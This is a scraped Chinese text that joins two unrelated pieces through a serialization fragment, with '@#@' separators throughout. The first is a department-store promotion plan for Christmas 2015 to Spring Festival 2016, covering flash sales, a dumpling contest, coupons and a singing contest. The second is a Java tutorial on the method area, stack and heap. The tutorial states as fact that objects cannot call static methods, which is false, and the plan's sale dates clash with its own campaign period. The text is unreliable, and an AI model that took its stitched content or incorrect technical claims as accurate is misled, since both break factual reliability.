@#@缤纷圣诞、欢乐购物@#@1、每日精选抢暴超市;@#@@#@2、12月25日圣诞老人派发小礼物@#@3、特别的回忆给特别的你@#@4、**首届水饺节——包水饺大赛@#@5、圣诞狂欢文艺演出@#@元旦篇:
@#@主题:
@#@快乐新年“旺旺旺”@#@1、百货商品买就送;@#@@#@2、新年购物送吉祥;@#@@#@3、超越梦想、——首届"@#@**杯”都市女孩音乐SHOW(预赛)@#@4、庆元旦迎新春礼盒一条街;@#@@#@5、庆元旦迎新春大宗团购享受超值优惠。
@#@@#@春节篇:
@#@主题:
@#@“旺旺”赐福、喜事多@#@1、摸彩换购幸运多;@#@@#@2、第二界**山货水果节;@#@@#@3、超越梦想、——首届"@#@大新杯”都市女孩音乐SHOW(决赛)@#@4、新春年货一条街;@#@@#@5、新春大宗团购享受超值优惠。
@#@@#@六、气氛营造:
@#@(详情见节庆VI手册)@#@——员工着装、现场氛围、买场音乐营造@#@主题——圣诞节、新年、春节@#@时间——2015年12月16日——2016年1月29日@#@气氛布置——@#@1、人员:
@#@设计新年领结、大红马夹、在春节活动期间统一着装;@#@@#@2、店内外:
@#@服务中心、收银区、节庆吊旗、三角串旗、价格POP、商品堆头喷画、小气球、形象看板、喷绘画;@#@@#@3、场外:
@#@喜庆气模、金桔树、花草、巨贺幅、促销巨幅;@#@@#@4、会员:
@#@免费派发VIP吉祥卡;@#@@#@5、出口、入口:
@#@气氛喷画、活动看板、奖品陈列;@#@@#@6、买场音乐CD:
@#@录制节庆音乐CD的播放、活动内容、商品活动宣传。
@#@@#@七、海报宣传:
@#@@#@第一期:
@#@12月16日——12月25日(10天)(圣诞节海报)@#@8P、80G铜板纸@#@a、海报拍照时间截止为12月7日@#@b、海报商品:
@#@食品为35个、非食品为30个,生鲜15个、其它10个、各部门将有特价力度的商品以“T”号标注。
@#@@#@第二期:
@#@12月26日——2016年1月12日(17天)(新年元旦节形象海报)@#@12P、80G铜板纸@#@a、海报拍照时间截止为12月16日@#@b、海报16个P,海报商品为食品80个、生鲜40个、非食品80个、百货类30个、家电10个。
@#@各部门将有特价力度的商品以“T”号标注。
@#@@#@第三波:
@#@1月13日——1月30(春节、水果节形象海报)@#@12P、80G铜板纸@#@a、海报拍照时间截止为12月30日@#@b、海报16个P,生鲜40个、食品80个、非食品80个、百货30个、家电10个。
@#@各部门将有特价力度的商品以“T”号标注。
@#@@#@八、促销细则:
@#@@#@圣诞篇@#@主题:
@#@缤纷圣诞、欢乐购物@#@时间:
@#@2015年12月16日——12月25日@#@地点:
@#@**百货各分店@#@活动一、每日精选抢暴超市;@#@@#@时间:
@#@2015年12月16日——25日@#@门店:
@#@**百货各分店@#@内容:
@#@为吸引更多的客流,以点带面,拉动顾客到我商场的购物狂潮,由业务部组织超低价商品在各分店每日推出抢购,具体抢购明细(建议)如下:
@#@@#@抢购商品条码@#@抢购商品名称@#@抢购时间@#@抢购价格@#@数量@#@**方便面@#@12月1日@#@1元/包@#@**大米@#@12月2日@#@1元/斤@#@**鱼@#@12月3日@#@1元/条或/斤@#@炸鸡腿@#@12月4日@#@1元/个@#@**酱油@#@12月5日@#@1元/瓶@#@**洗衣粉@#@12月6日@#@1元/包@#@**洗洁精@#@12月7日@#@1元/瓶@#@鲜鸡蛋@#@12月8日@#@1元/斤@#@沙田柚@#@12月9日@#@1元/个@#@红富士苹果@#@12月10日@#@1元/斤@#@**可乐(罐装)@#@12月11日@#@1元/瓶@#@**纯牛奶(盒装)@#@12月12日@#@1元/盒@#@活动细则:
@#@@#@1、选择卖场内宽敞的地方进行售卖。
@#@@#@2、要限时发售,每日发售的数量按业务部方案制订中的具体数量进行。
@#@@#@3、凡有外包装的商品,都必须用油性红笔在其上面写上“**超低价”。
@#@@#@4、防损部做好防损及秩序维护工作。
@#@@#@日期@#@星期@#@XX商品@#@XX商品@#@XX商品@#@XX年XX月XX日@#@星期X@#@XXXX@#@XXXX@#@XXXX@#@5、店负责人查出每日销售的超低价商品的数量,填写《超低价商品统计表》交文员传真至策划部。
@#@店名:
@#@@#@总值班:
@#@传真人:
@#@@#@注意事项:
@#@@#@1、凡当日不售卖的超低价商品不要摆大的堆头,以免顾客误会。
@#@@#@2、美工用POP注明超低价限卖时间,让顾客清楚知道。
@#@@#@3、部门主管跟进发售数量,以免超过预期售卖量,造成公司损失。
@#@@#@活动二、圣诞老人派发小礼物@#@活动时间:
@#@12月24日~12月25日@#@活动门店:
@#@**百货各分店@#@活动内容:
@#@活动日期间光临**百货的小朋友都会得到圣诞老人赠送的神秘礼品一份。
@#@@#@(糖果每分店40斤散装、气球500个/店,业务部和分店负责洽谈供应商赞助)@#@活动三、特别的回忆给特别的你@#@活动时间:
@#@12月20日——12月25日@#@活动门店:
@#@**百货各分店@#@活动内容:
@#@凡于活动期间在我商场购物满30元的顾客朋友,均可凭当日单张购物电脑小票到顾客服务中心进行登记,即可到场外与圣诞老人合影一张。
@#@(购物金额不累计不翻倍)@#@(冲洗费分店电脑画相专柜负责赞助)@#@活动四、**首届水饺节——包水饺大赛@#@活动时间:
@#@2015年12月16日——12月25日(共10天)@#@活动门店:
@#@**百货各分店@#@气氛布置:
@#@@#@1、陈列位置:
@#@各店水饺陈列区,各店集中陈列。
@#@@#@2、陈列区域气氛布置@#@1)沿陈列区域周围及相关堆头悬挂水饺模型(每店水饺模型约30个)。
@#@@#@2)在陈列区域内悬挂水饺节主题喷画。
@#@@#@3)在对应水饺旁悬挂相关水饺知识喷画。
@#@@#@4)有条件的店将水饺区域内灯光区分开(建议为白色)。
@#@@#@活动内容:
@#@@#@此活动分为户外与户内两种,主要以游戏为主,各店根据自身情况灵活开展,目的旨在营造节日气氛,刺激消费。
@#@@#@1、户外活动@#@1、包水饺比赛:
@#@@#@比赛时间:
@#@2015年12月24日——25日@#@报名时间:
@#@2015年12月16日——23日@#@报名地点:
@#@各分店服务中心@#@比赛地点:
@#@分店场外舞台或场内宽敞地方@#@报名条件:
@#@在**百货任一店购物满20元的顾客朋友凭电脑小票到顾客服务中心报名(限前30名)@#@注:
@#@根据比赛情况在比赛过程中灵活穿插演出和游戏等活动@#@奖项设置:
@#@@#@第一名:
@#@奖励价值200元礼品一份@#@第二名:
@#@奖励价值100元礼品一份@#@第三名:
@#@奖励价值50元礼品一份@#@参与奖:
@#@各奖励选手亲手包的全部水饺+精美礼品一份@#@比赛规则:
@#@@#@本次比赛共30人分6组、每组5人、实行层层淘汰赛,每组决出一名进入下一轮的淘汰赛,最后共六人分2轮进行决赛,最后选出优胜者。
@#@@#@说明:
@#@比赛水饺皮自己擀、水饺馅自己拌、必须包10个以上水饺。
@#@每组比赛时间为15分钟。
@#@@#@其它事项组织由分店安排(如评委、奖品、物料、人员安排等)@#@费用:
@#@500元内/每家分店@#@2、购物送水饺@#@时间:
@#@12月16日—12月25日@#@内容:
@#@凡12月16日—12月25日在**百货任一店超市区购物满38元即可获得水饺一份!
@#@每日数量有限送完即止。
@#@@#@操作细则:
@#@@#@1、采购部负责与营运部一起在各分店统计落实赠品的数量、质量和打包等赠送准备工作;@#@@#@2、执行分店负责商品派赠人员的安排和验票兑送、统计登记工作,每日活动结束后将当日统计表交于所属店财务部,以备核验;@#@@#@3、策划部负责活动的主题宣传等协调工作;@#@@#@4、营运部、电脑部、财务部跟进商品的转换过程;@#@@#@5、各执行分店策划部负责兑换站点的气氛布置工作及内外POP宣传;@#@@#@6、各执行分店防损部负责兑换站点的秩序和安全保障工作;@#@@#@7、行政部负责美工部各类企划材料的跟进工作;@#@@#@8、各执行分店播音员高密度的播音导购。
@#@@#@9、未尽事宜分店可灵活安排处理。
@#@@#@费用预算:
@#@400元/店/天(注:
@#@每天200份/店、每份价值2元左右、原则上不超过2元)@#@2、户内活动:
@#@@#@1.水饺低价抢购@#@12月116开始**百货各分店水饺类商品每天推出3-5个特价水饺,以负毛利或“0”毛利限量销售。
@#@具体参与明细由采购部提供。
@#@每天预亏300元/店。
@#@@#@2.现场水饺品尝@#@12月16日开始**百货各分店场内由分店组织现场煮水饺活动给购买水饺的顾客现场品尝各式各样的新鲜水饺@#@费用控制:
@#@每天控制在80元以内/每家分店(其它细节分店灵活操作争取做到现场气氛浓烈配合现场叫买)@#@注:
@#@@#@1)以上活动内容由各店自行组织开展,并根据客流量分时段进行,每次开展时间约半小时。
@#@@#@2)每日时间段建议:
@#@8:
@#@30—9:
@#@00@#@11:
@#@00—11:
@#@30@#@17:
@#@00—17:
@#@30@#@18:
@#@00—18:
@#@30@#@20:
@#@00—20:
@#@30@#@3)场内、场外活动错开进行,交替开展。
@#@@#@4)活动所需道具及物品由分店自备。
@#@@#@5)有舞台的店可在舞台举行此类活动。
@#@@#@6)分店可自主开展类似游戏活动,以营造节日气氛为主。
@#@@#@7)店长做好监控工作,避免过多浪费。
@#@@#@8)美工做好活动时间安排宣传,让顾客明白活动的时间、地点、内容。
@#@@#@活动培训:
@#@@#@由各店店长根据此方案对全店员工进行培训,尤其对活动负责人要加强培训,确保活动顺利开展。
@#@@#@部门配合:
@#@@#@1、采购部@#@1)超低价商品选择落实、洽谈赞助。
@#@@#@2)活动用品配合@#@采购部联系供应商提供场外、场内游戏活动用之水饺,以支持分店举行活动并在12月16日前将活动用之水饺送至各店。
@#@@#@2、策划部@#@负责活动的宣传(所有宣传物品在12月13日前送至各店)@#@3、门店@#@1)游戏活动的组织与开展。
@#@@#@2)对全体员工进行活动培训。
@#@@#@3)卖场气氛的布置与商品陈列。
@#@@#@活动宣传:
@#@@#@1、户外条幅@#@内容:
@#@**首届水饺节——包水饺大赛@#@2、户外立牌喷画@#@内容:
@#@DM单页面,水饺知识@#@3、入口、通道喷画@#@内容:
@#@活动主题@#@4、水饺模型(每店约30个)@#@5、水饺知识喷画(用于水饺陈列区)@#@6、水饺形象喷画(用于水饺陈列区)@#@7、广播宣传@#@亲爱的各位顾客朋友:
@#@@#@你们好!
@#@@#@为报答各位一直以来对大新百货的支持与厚爱,**现特举办“**首届水饺节——包水饺大赛@#@”活动,推出以下特价超值水饺(内容见DM单特价水饺),另在户外与户内举办了一系列奖品丰富的游戏,欢迎你们踊跃参与,赢取奖品,详请见户外活动海报。
@#@@#@谢谢您的光临!
@#@@#@活动五、圣诞狂欢文艺演出@#@活动时间:
@#@12月24日至25日19:
@#@00——21:
@#@00@#@活动门店:
@#@**百货各分店@#@活动内容:
@#@外请演艺团演出节目,与顾客共渡平安夜,与顾客心与心的交流。
@#@@#@费用预计:
@#@(业务部落实、食品部三场、非食品部6场、其它分店自备晚会、其中穿插包水饺大赛、若分店有演出团演出、分店可灵活安排包水饺大赛的比赛时间)@#@圣诞节气氛布置详情见节庆VI设计手册(略)@#@附件:
@#@1、物料统计明细表@#@2、费用清单@#@元旦篇@#@主题:
@#@快乐新年“旺旺旺”@#@时间:
@#@2015年12月26日——2016年元月12日@#@地点:
@#@**百货个分店@#@活动1、百货商品买就送;@#@@#@时间:
@#@元月1日——元月3日(三天)@#@门店:
@#@**百货各分店@#@内容:
@#@@#@●活动期间在**百货任一分店平价服装区一次性购物(单张小票)满100元、即可凭当日有效电脑小票到商场大门口领取现金折扣券100元、整百返利、(单张小票最多可领取200元购物券!
@#@)@#@●活动期间在**百货任一分店百货品牌专柜区一次性购物(单张小票)满100元、即可凭当日有效电脑小票到商场大门口领取现金券50元、整百返利、(单张小票最多可领取200元现金券!
@#@)@#@●活动期间在**百货任一分店百货品牌休闲专柜区一次性购物(单张小票)满100元、即可凭当日有效电脑小票到商场大门口领取现金券30元、整百返利、(单张小票最多可领取90元现金券!
@#@)@#@活动细则:
@#@@#@1、购物小票当日有效,小票金额不累加,丢失不重打,整百返利不计零头、内部员工不参加本次活动。
@#@@#@2、商场所有商品在活动期间不能抬高售价,必须保持原价。
@#@@#@3、分店财务人员做好现金券发放和电脑小票检查工作,做好数据统计和电脑小票的保管入账,次日9:
@#@00上交财务主管审核对账,如发现数据不对,由责任人承担全部责任。
@#@@#@4、此次活动现金券严格按活动要求发放,严惩滥发现象发生,严格遵守公司相关规章制度。
@#@@#@5、分店企划部按照活动内容:
@#@A、加强对外宣传,广播滚动宣传,制做横幅广告宣传,场外整版POP宣传,海报宣传、电视宣传等。
@#@B、加强部门之间的沟通协调,有关部门知道活动的操作流程。
@#@C、制造良好的声势和现场气氛,如宣传和部门沟通不到位,分店企划部将承担责任。
@#@@#@6、现金券或派发由公司财务部统一派发执行。
@#@@#@7、未尽事可灵活处理。
@#@@#@8、供应商在活动期间不得提高商品售价,必须在原折扣的基础上参加此次活动。
@#@@#@宣传内容:
@#@@#@1、**百货服装百货买就送、1、平价服装广场买100送100@#@2、品牌服装买100送50@#@3、品牌休闲系列买100送30@#@2、平价服装所送的现金折扣券使用规定、购平价服装百货商品(同一专柜)满100元,可使用现金优惠券50元,整百返利、部分专柜及特价商品不参加除外;@#@品牌专柜所送现金券和人民币等值全场流通。
@#@@#@操作流程:
@#@@#@@#@ @#@@#@购物券印刷内容:
@#@(略)(现金购物券有效期:
@#@2016年1月5日至1月20日)@#@费用分摊:
@#@活动期间商场在原来合同扣点基础上让利10%、所送费用由供应商承担、商场对活动送出金额不在扣点,活动销售金额记入合同保低内。
@#@平价服装所送让利由专柜自理。
@#@@#@2、新年购物送吉祥;@#@@#@时间:
@#@2015年12月26日——2016年元月12日@#@地点:
@#@**百货个分店@#@内容:
@#@活动期在**百货任一分店超市区一次性购物满38元、百货、开单区一次性购物满58元的顾客、可凭当日有效电脑小票到商场大门口领取大新新年利是袋一包、(以此类推、多买多送)同时可免费办理一张**新年VIP吉祥卡一张(每人限免费办理1张VIP吉祥卡)@#@操作细则:
@#@@#@①活动现场必须至少有二名工作人员同时在场(一名操作员工、一名防损人员)。
@#@@#@②顾客购物超市区满38元、百货、开单区购物满58元方可领取礼品,多购多送,零头不计。
@#@@#@③单张小票必须为当日方有效,收银小票不可累加。
@#@@#@④顾客领取奖品的收银小票一律加盖“已领礼品”章。
@#@@#@⑤发奖人员发放礼品时做好登记工作,要求顾客签名领取礼品。
@#@@#@⑥当日活动结束后,发奖人员将数据统计完毕后交文员处于次日上午传至策划部。
@#@@#@⑦员工与促销员(包括专柜人员)不得参加此活动。
@#@@#@⑧如不按上述细则进行操作,每次发现作扣10分处理。
@#@@#@相关数据统计表格@#@奖品发放登记表@#@店名:
@#@日期:
@#@年月日@#@序号@#@收银小票号@#@金额@#@所领礼品@#@顾客签名@#@序号@#@收银小票号@#@金额@#@所领礼品@#@顾客签名@#@XXX@#@XXX@#@XXX@#@XXX@#@经手人:
@#@防损员:
@#@总值班:
@#@@#@礼品发放统计表@#@店名:
@#@@#@日期@#@星期@#@利是袋@#@VIP吉祥卡@#@备注@#@经手人:
@#@总值班:
@#@@#@3、超越梦想、——首届“**杯”都市女孩音乐SHOW(预赛)@#@活动主题:
@#@超越梦想、——首届“**杯”都市女孩音乐SHOW@#@活动日期:
@#@**年**月**日——**年**月**日@#@活动地点:
@#@**百货各分店@#@日程安排:
@#@1、报名时间:
@#@**年**月**日——**日@#@2、预赛时间:
@#@2015年12月30日、31日、2016年元月1日2日、3日@#@3、复赛时间:
@#@2016年1月7日、8日、@#@4、分店决赛时间:
@#@2016年1月13日@#@6、总部集中决赛时间:
@#@2016年1月14日15日(**百货谢岗分店文化广场)@#@报名条件:
@#@1、限制年龄15—25岁女生通俗音乐爱好者均可参加报名@#@2、谢绝男士参与、@#@3、参加比赛者凭本人身份证报名、@#@报名地点@#@**百货各店顾客服务中心@#@报名方法@#@凡报名者参加报名由服务工作人员要求参与者先试清唱,认可后由参与者认真填好《参赛表》(见附表),并告知预赛时将电话通知。
@#@(无电话联系者请留意近日预赛的名单公布海报)@#@总决赛奖项设置:
@#@1、冠军:
@#@1名、奖励豪华笔记本电脑一台+大新奖杯+荣誉证书@#@2、亚军:
@#@1名、奖励数码相机一台+大新奖杯+荣誉证书@#@3、季军:
@#@1名、奖励豪华手机一部+大新奖杯+荣誉证书@#@4、参与奖:
@#@精美礼品一份+荣誉证书@#@费用预算:
@#@总决赛奖品费用:
@#@8000元@#@总决赛专业舞台、音响、灯光:
@#@25000元其它杂费:
@#@2000元@#@合计费用:
@#@35000元@#@其它细节方案审批后另附(另附方案)@#@4、庆元旦迎新春礼盒一条街;@#@@#@一、年货一条街@#@
(一)气氛布置@#@户外@#@各店门口的柱头、增面由策划部负责制作喜庆喷画包装起来,各店门口都悬挂传统的中国大红灯笼。
@#@以给人新年的喜庆气氛,吸引客流,带旺人气。
@#@@#@2、门口至年货区之主通道@#@此主通道并排悬挂两排灯笼,灯笼内安装灯光,由入口一直至年货区,两排灯笼之间距离不得少于1.2m,两排灯笼之间悬挂吊旗,以引导顾客按此通道一直走向年货区。
@#@@#@3、年货区@#@
(1)所有堆头由策划部负责用喷画包装起来,(分店提供尺寸及平面图至策划部);@#@@#@
(2)年货区的上空主要以拉花、绣球、灯笼、形象看板、彩灯进行装饰,使其成为卖场内的最亮点,以推动年货销售;@#@@#@(3)年货区的促销人员统一着年货促销装。
@#@@#@4、收银区@#@
(1)所有柱子全部用喜庆喷画包装;@#@@#@
(2)所有收银员统一着装,以红色为主。
@#@@#@5、背景音乐@#@由策划部统一选歌、录碟,在12月26日前发至各店,(每店3张)@#@6、部门配合@#@
(1)策划部@#@A.在12月15日前与采购部至广州一德路采购买新年气氛布置用品,在12月20日前分配至各店。
@#@@#@各店春节布置用品明细表(见附件)@#@注:
@#@各店按配送明细表收点数。
@#@@#@B.在12月05日前联系制作好年货促销人员服装、收银员、员工服装,并交至财务部收货。
@#@(服装颜色以红色为主)@#@C.在12月25日前将广告制品送至各店并指导安装。
@#@@#@D.在12月26日前刻录歌碟送至各店。
@#@@#@
(2)采购部@#@A.在12月10日前提供各店年货促销人员、员工数量至及衣服尺码至策划部,以便策划部及时联系制作。
@#@@#@B.在12月10日前与策划部人员至广州一德路采购布置用品。
@#@@#@(3)营运部@#@A.在12月10日前提供各店收银员、员工数量及衣服尺码至策划部。
@#@@#@B.在12月01日前提供各店年货区堆头平面图及堆头周围尺寸(长X高X宽)。
@#@@#@(4)财务部@#@A.年货促销人员服装与收银员、员工服装的收货,并在12月20日发放至各店;@#@@#@B.年货促销人员服装与收银员服装的使用管理。
@#@@#@(5)各店@#@A.年货区的布置,12月28日完成;@#@@#@B.春节气氛布置,12月29日之前完成。
@#@@#@注明:
@#@更多细节详情见公司统一的新春VI手册@#@5、庆元旦迎新春大宗团购享受超值优惠。
@#@@#@春节销售的好坏与团购推广成功与否有着重大关系。
@#@团购的成功推广直接促进销售的增长,也为以后的推广打下良好的基础,故此次春节销售应将团购作为重中之重来抓。
@#@@#@1、团购宣传方式@#@
(1)团购宣传手册,(2016年1月01日——2016年1月29日)@#@
(2)礼品卡@#@(3)团购宣传单@#@(4)团购广告制品宣传@#@(5)上门拜访@#@(6)电话联系、传真@#@2、部门配合@#@
(1)策划部@#@A.在12月26前将团购宣传单制作完毕并配送至各店;@#@@#@B.在12月26前将团购宣传广告制品送至各店。
@#@@#@
(2)采购部@#@A.在12月15日前提供团购DM单、礼品卡、团购宣传单相关资料至策划部;@#@@#@B.团购礼品卡使用办法的制定;@#@@#@C.团购推广方案细则制定。
@#@@#@(3)财务部@#@A.礼品卡的保管与发放;@#@@#@B.礼品卡使用的回收与监控。
@#@@#@(三)宣传推广@#@1、春节DM单@#@
(1)日期:
@#@2016年1月13日—2016年1月30日@#@
(2)部门配合@#@A.采购部在12月24前提供资料至策划部,并安排人员配合策划部拍照;@#@@#@B.策划部在2016年1月10日之前完成制作并配送至各店;@#@@#@C.各店有计划分批派发。
@#@(按照总部策划部DM快讯派发标准执行)@#@2、电视广告拜年@#@
(1)策划部在2016年1月10日前制作拜年广告,1月29—2月5日期间在所有店的镇区播放;@#@@#@
(2)根据实际需要做报纸广告。
@#@@#@3、VCD碟拜年广告@#@由策划部制作拜年VCD碟,由各店在换购处、服务台、收银台播放。
@#@@#@4、服务台拜年广播词@#@ @#@@#@春节篇@#@主题:
@#@“旺旺”赐福、喜事多@#@时间:
@#@2016年1月13日——2016年元月30日@#@地点:
@#@**百货各分店@#@1、摸彩换购幸运多;@#@@#@
(一)主题:
@#@摸彩换购幸运多@#@
(二)时间:
@#@2016年1月13日——2016年1月30日@#@(三)门店:
@#@**百货各店@#@(四)内容:
@#@@#@2016年1月13日——2016年1月30日,凡在**百货任一店一次性购物满50元以上,凭当日收银小票即可参加超值摸彩激性大换购活动。
@#@@#@最超值,至开心。
@#@@#@摸彩换购幸运多@#@注:
@#@换购商品之收银小票不再参加其它优惠活动@#@(五)换购细则:
@#@@#@摸中1号彩球加一元,可换购以下商品其中一项:
@#@@#@(采购部准备2—3元左右敏感商品15个供顾客任意选)@#@摸中3号彩球加3元,可换购以下商品其中一项:
@#@@#@(采购部准备6—8元左右敏感商品10个供顾客任意选)@#@摸中5号彩球加5元,可换购以下商品其中一项:
@#@@#@(采购部准备15元左右敏感商品5个供顾客任意选)@#@摸中8号球加8元,可换购以下商品其中一项:
@#@@#@(采购部准备50—100元左右敏感商品3个供顾客任意选。
@#@如、油、米等)@#@彩球配置:
@#@1号球180个3号球15个5号球3个8号彩球2个@#@注:
@#@每张电脑收银小票只能参加摸彩换购活动一次,无论购物多少,只限换购1件商品,必须是活动期内当日小票。
@#@@#@(六)操作流程:
@#@@#@ @#@@#@(七)收银工作安排@#@各店都必须用一台“活动专用收银机”,并由分店财务在机身上贴上“换购区专用收银机”标志。
@#@@#@专用收银机由电脑部负责设置取消联网,并存储换购商品资料,最迟在1月12日完成。
@#@@#@换购区理货员、收银员交班时必须由防损员进行一次盘点,换购区理货员与收银员核对销售单据、换购商品盘点数据,店负责人签名确认,收银员凭销售单据和盘点数据到财务结算。
@#@@#@专用收银机只能在换购区使用,不允许用于其它收银,由分店防损部监控。
@#@@#@具体操作由电脑部负责培训分店收银主管。
@#@@#@商品的出入按内部调拨程序进行。
@#@@#@(八)现场布置@#@各店都必须在出口或入口人流旺畅、开阔的地方布置换购活动特区,将换购商品分类摆大堆头以吸引顾客。
@#@@#@美工负责将每个换购商品堆头写POP,注明零售价、换购价、省多少元等信息,吸引顾客购买欲。
@#@@#@换购区必须安装专用的收银机,此收银机负责换购商品的收款工作。
@#@@#@换购区必须布置的喜庆,用汽球、彩带等物装饰。
@#@@#@换购区人员安排:
@#@防损员1名、收银员1名、服务员1—2名。
@#@@#@活动处布置示意图";i:
23;s:
14215:
"Java内存分配与管理总结@#@想写这篇总结酝酿了有个来月了,却始终感觉还差点什么东西,一直未敢动笔。
@#@@#@ @#@ @#@ @#@ @#@最近两天连夜奋战,重新整理下前面查阅的资料、笔记,还是决定将它写出来。
@#@@#@ @#@ @#@ @#@ @#@现在提出几个问题,如果都能熟练回答的大虾,请您飘过.如以往一样,我是小菜,本文自然也是针对小菜阶层的总结。
@#@@#@ @#@@#@首先是概念层面的几个问题:
@#@@#@ @#@@#@∙Java中运行时内存结构有哪几种?
@#@@#@∙Java中为什么要设计堆栈分离?
@#@@#@∙Java多线程中是如何实现数据共享的?
@#@@#@∙Java反射的基础是什么?
@#@@#@然后是运用层面:
@#@@#@∙引用类型变量和对象的区别?
@#@@#@∙什么情况下用局部变量,什么情况下用成员变量?
@#@@#@∙数组如何初始化?
@#@声明一个数组的过程中,如何分配内存?
@#@@#@∙声明基本类型数组和声明引用类型的数组,初始化时,内存分配机制有什么区?
@#@@#@∙在什么情况下,我们的方法设计为静态化,为什么?
@#@(上次胡老师问文奇,问的哑口无言,当时想回答,却老感觉表述不清楚,这里也简单说明一下)@#@好了,问题提完了,如果您都能一眼看出答案,那么,没有必要再浪费您宝贵的时间看下去了。
@#@@#@如果您还不太明白,请跟随我一路走下去。
@#@@#@ @#@@#@Java中运行时内存结构@#@ @#@ @#@1.1方法区:
@#@ @#@@#@方法区是系统分配的一个内存逻辑区域,是JVM在装载类文件时,用于存储类型信息的(类的描述信息)。
@#@@#@ @#@ @#@ @#@@#@方法区存放的信息包括:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1.1.1类的基本信息:
@#@@#@1.每个类的全限定名@#@2.每个类的直接超类的全限定名(可约束类型转换)@#@3.该类是类还是接口@#@4.该类型的访问修饰符@#@5.直接超接口的全限定名的有序列表@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1.1.2已装载类的详细信息:
@#@@#@1. @#@运行时常量池:
@#@@#@在方法区中,每个类型都对应一个常量池,存放该类型所用到的所有常量,常量池中存储了诸如文字字符串、final变量值、类名和方法名常量。
@#@它们以数组形式通过索引被访问,是外部调用与类联系及类型对象化的桥梁。
@#@(存的可能是个普通的字符串,然后经过常量池解析,则变成指向某个类的引用)@#@2. @#@字段信息:
@#@@#@字段信息存放类中声明的每一个字段的信息,包括字段的名、类型、修饰符。
@#@@#@字段名称指的是类或接口的实例变量或类变量,字段的描述符是一个指示字段的类型的字符串,如privateAa=null;@#@则a为字段名,A为描述符,private为修饰符@#@3. @#@方法信息:
@#@@#@类中声明的每一个方法的信息,包括方法名、返回值类型、参数类型、修饰符、异常、方法的字节码。
@#@@#@(在编译的时候,就已经将方法的局部变量、操作数栈大小等确定并存放在字节码中,在装载的时候,随着类一起装入方法区。
@#@)@#@在运行时,JVM从常量池中获得符号引用,然后在运行时解析成引用项的实际地址,最后通过常量池中的全限定名、方法和字段描述符,把当前类或接口中的代码与其它类或接口中的代码联系起来。
@#@@#@4. @#@静态变量:
@#@@#@这个没什么好说的,就是类变量,类的所有实例都共享,我们只需知道,在方法区有个静态区,静态区专门存放静态变量和静态块。
@#@@#@5. @#@到类classloader的引用:
@#@到该类的类装载器的引用。
@#@@#@6. @#@到类class @#@的引用:
@#@虚拟机为每一个被装载的类型创建一个class @#@实例,用来代表这个被装载的类。
@#@ @#@@#@ @#@ @#@ @#@ @#@由此我们可以知道反射的基础:
@#@@#@在装载类的时候,加入方法区中的所有信息,最后都会形成Class类的实例,代表这个被装载的类。
@#@方法区中的所有的信息,都是可以通过这个Class类对象反射得到。
@#@我们知道对象是类的实例,类是相同结构的对象的一种抽象。
@#@同类的各个对象之间,其实是拥有相同的结构(属性),拥有相同的功能(方法),各个对象的区别只在于属性值的不同。
@#@@#@ @#@ @#@同样的,我们所有的类,其实都是Class类的实例,他们都拥有相同的结构-----Field数组、Method数组。
@#@而各个类中的属性都是Field属性的一个具体属性值,方法都是Method属性的一个具体属性值。
@#@@#@ @#@@#@ @#@在运行时,JVM从常量池中获得符号引用,然后在运行时解析成引用项的实际地址,最后通过常量池中的全限定名、方法和字段描述符,把当前类或接口中的代码与其它类或接口中的代码联系起来。
@#@@#@ @#@@#@1.2 @#@Java栈@#@JVM栈是程序运行时单位,决定了程序如何执行,或者说数据如何处理。
@#@@#@在Java中,一个线程就会有一个线程的JVM栈与之对应,因为不过的线程执行逻辑显然不同,因此都需要一个独立的JVM栈来存放该线程的执行逻辑。
@#@@#@对方法的调用:
@#@@#@Java栈内存,以帧的形式存放本地方法的调用状态,包括方法调用的参数、局部变量、中间结果等(方法都是以方法帧的形式存放在方法区的),每调用一个方法就将对应该方法的方法帧压入Java栈,成为当前方法帧。
@#@当调用结束(返回)时,就弹出该帧。
@#@@#@ @#@@#@这意味着:
@#@@#@在方法中定义的一些基本类型的变量和引用变量都在方法的栈内存中分配。
@#@当在一段代码块定义一个变量时,Java @#@就在栈中为这个变量分配内存空间,当超过变量的作用域后(方法执行完成后),Java @#@会自动释放掉为该变量所分配的内存空间,该内存空间可以立即被另作它用。
@#@--------同时,因为变量被释放,该变量对应的对象,也就失去了引用,也就变成了可以被gc对象回收的垃圾。
@#@@#@因此我们可以知道成员变量与局部变量的区别:
@#@@#@局部变量,在方法内部声明,当该方法运行完时,内存即被释放。
@#@@#@成员变量,只要该对象还在,哪怕某一个方法运行完了,还是存在。
@#@@#@从系统的角度来说,声明局部变量有利于内存空间的更高效利用(方法运行完即回收)。
@#@@#@成员变量可用于各个方法间进行数据共享。
@#@@#@ @#@@#@ @#@@#@Java栈内存的组成:
@#@@#@局部变量区、操作数栈、帧数据区组成。
@#@@#@
(1):
@#@局部变量区为一个以字为单位的数组,每个数组元素对应一个局部变量的值。
@#@调用方法时,将方法的局部变量组成一个数组,通过索引来访问。
@#@若为非静态方法,则加入一个隐含的引用参数this,该参数指向调用这个方法的对象。
@#@而静态方法则没有this参数。
@#@因此,对象无法调用静态方法。
@#@@#@ @#@@#@由此,我们可以知道,方法什么时候设计为静态,什么时候为非静态?
@#@@#@前面已经说过,对象是类的一个实例,各个对象结构相同,只是属性不同。
@#@@#@而静态方法是对象无法调用的。
@#@@#@所以,静态方法适合那些工具类中的工具方法,这些类只是用来实现一些功能,也不需要产生对象,通过设置对象的属性来得到各个不同的个体。
@#@@#@
(2):
@#@操作数栈也是一个数组,但是通过栈操作来访问。
@#@所谓操作数是那些被指令操作的数据。
@#@当需要对参数操作时如a=b+c,就将即将被操作的参数压栈,如将b和c压栈,然后由操作指令将它们弹出,并执行操作。
@#@虚拟机将操作数栈作为工作区。
@#@@#@(3):
@#@帧数据区处理常量池解析,异常处理等@#@ @#@@#@1.3 @#@java堆 @#@@#@ @#@ @#@ @#@java的堆是一个运行时的数据区,用来存储数据的单元,存放通过new关键字新建的对象和数组,对象从中分配内存。
@#@@#@ @#@ @#@ @#@在堆中声明的对象,是不能直接访问的,必须通过在栈中声明的指向该引用的变量来调用。
@#@引用变量就相当于是为数组或对象起的一个名称,以后就可以在程序中使用栈中的引用变量来访问堆中的数组或对象。
@#@@#@ @#@ @#@@#@ @#@ @#@ @#@ @#@由此我们可以知道,引用类型变量和对象的区别:
@#@ @#@@#@声明的对象是在堆内存中初始化的,真正用来存储数据的。
@#@不能直接访问。
@#@@#@引用类型变量是保存在栈当中的,一个用来引用堆中对象的符号而已(指针)。
